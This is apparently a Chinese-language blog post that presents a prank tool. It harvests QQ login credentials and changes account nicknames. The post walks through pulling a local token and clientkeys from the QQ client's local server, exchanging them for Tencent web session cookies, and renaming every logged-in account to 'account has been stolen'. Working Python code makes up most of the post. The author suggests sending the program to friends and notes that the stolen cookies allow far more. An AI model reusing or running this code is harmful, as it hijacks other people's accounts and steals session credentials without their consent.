QQ大盜 - 巧用clientkey
阿新 • • 發佈:2018-05-26
sid find 復雜 info tla style ID ken jar
場景:
1.將程序發給好友,好友打開 qq昵稱就會被秒改為”賬號已被盜“。
2.將程序運行在自己的電腦,讓那些隨意借用電腦看片聊天的室友產生一個覺悟:亂使用別人電腦很可能會泄露隱私。
思路:
通過數據包模擬網頁中的qq快速登錄,拿到登錄憑證(Cookie)修改qq昵稱 實現賬號被盜的假象。
1、local_token:
qq快速登錄是基於qq的客戶端實現的,qq客戶端啟動時會生成一個local_token(保存在本地的一個鑰匙),通過local_token訪問qq客戶端的本地服務器(4301端口)可以獲取到電腦上登錄的所有qq賬號。
2、clientkey:
僅僅知道qq賬號肯定是無法登錄的,還要拿clientkey。可以把clientkey理解成密碼,qq客戶端登錄成功時會生成這個值,每個成功登錄的賬號都有自己的clientkey 相互匹配,只要拿到賬號的clientkey就可以偷偷快速登錄了。
3、cookies:
前面兩步其實都是在本地網絡下完成的,驗證於qq客戶端的本地服務器。現在提交uin+clientkey模擬快速登錄是需要騰訊的遠程服務器來驗證的,驗證通過就可以拿到登錄憑證了(Cookies)。
4、ldw:
通過前幾步我們已經拿到登錄憑證了,可以為所欲為訪問騰訊所有web端的服務了,現在我想修改賬號的昵稱。
我選擇了通過qq個人中心的一個接口修改昵稱,這個接口需要一個ldw值,並不復雜,一個get請求就能拿到。
實現:
以下使用python編程語言操作。
from urllib import request from http import cookiejar importjson import re opener=None cookie=None local_token=None json_uins=None def modNick(index,nick): clientuin=json_uins[index][‘account‘] clientkey=None ldw=None #拿到clientkey url = ‘https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=‘+clientuin+‘&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=‘ + local_token opener.open(url) for item in cookie: if (item.name == ‘clientkey‘): clientkey = item.value break #登錄 url=‘https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin=‘+clientuin+‘&clientkey=‘+clientkey opener.open(url) #拿到ldw url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388" opener.open(url) for item in cookie: if (item.name == ‘ldw‘): ldw = item.value break #修改昵稱 url = ‘http://id.qq.com/cgi-bin/userinfo_mod‘ data = ‘&n=‘ + nick + ‘&ldw=‘ + ldw res = opener.open(url, bytes(data, ‘utf-8‘)) data = res.read() if __name__==‘__main__‘: #opener初始化 cookie=cookiejar.CookieJar() opener=request.build_opener(request.HTTPCookieProcessor(cookie)) opener.addheaders = [(‘Referer‘,‘https://xui.ptlogin2.qq.com‘)] #拿到local_token url=‘https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html‘ opener.open(url) for item in cookie: if(item.name == ‘pt_local_token‘): local_token=item.value break #拿到uins url=‘https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk=‘+local_token res=opener.open(url) json_uins=json.loads(re.compile(‘var var_sso_uin_list=(.*?);‘).findall(str(res.read(),‘utf-8‘))[0]) #修改昵稱 for index in range(0,len(json_uins)): modNick(index, ‘帳號已被盜!‘)
最後說幾句:
改個昵稱啥的都是小事情,拿到Cookies可以做到的事情太多了。請以自我娛樂的意識去研究擴展,不要幹擾影響他人網絡環境。
QQ大盜 - 巧用clientkey